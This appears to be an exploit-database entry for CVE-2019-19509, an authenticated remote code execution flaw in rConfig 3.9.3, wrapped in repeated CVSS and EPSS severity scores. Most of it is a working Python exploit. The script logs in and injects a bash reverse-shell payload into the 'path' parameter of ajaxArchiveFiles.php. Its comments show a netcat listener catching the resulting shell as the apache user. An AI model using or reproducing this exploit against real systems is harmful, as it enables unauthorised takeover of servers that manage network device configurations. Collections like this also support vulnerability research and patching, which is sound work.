8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 High
AI Score
Confidence
High
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
0.966 High
EPSS
Percentile
99.6%
# Exploit Title: rConfig 3.9.3 - Authenticated Remote Code Execution
# Date: 2019-11-07
# CVE-2019-19509
# Exploit Author: vikingfr
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh
# Version: tested v3.9.3
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
#
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall
#
# $ python3 rconfig_CVE-2019-19509.py https://192.168.43.34 admin root 192.168.43.245 8081
# rconfig - CVE-2019-19509 - Web authenticated RCE
# [+] Logged in successfully, triggering the payload...
# [+] Check your listener !
# ...
# $ nc -nvlp 8081
# listening on [any] 8081 ...
# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458
# bash: no job control in this shell
# bash-4.2$ id
# id
# uid=48(apache) gid=48(apache) groups=48(apache)
# bash-4.2$
#!/usr/bin/python3
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print ("rconfig - CVE-2019-19509 - Web authenticated RCE")
if len(sys.argv) != 6:
print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print ("[+] Logged in successfully, triggering the payload...")
encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
print ("[+] Check your listener !")
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print ("[-] Wrong credentials !")
exit()
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 High
AI Score
Confidence
High
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
0.966 High
EPSS
Percentile
99.6%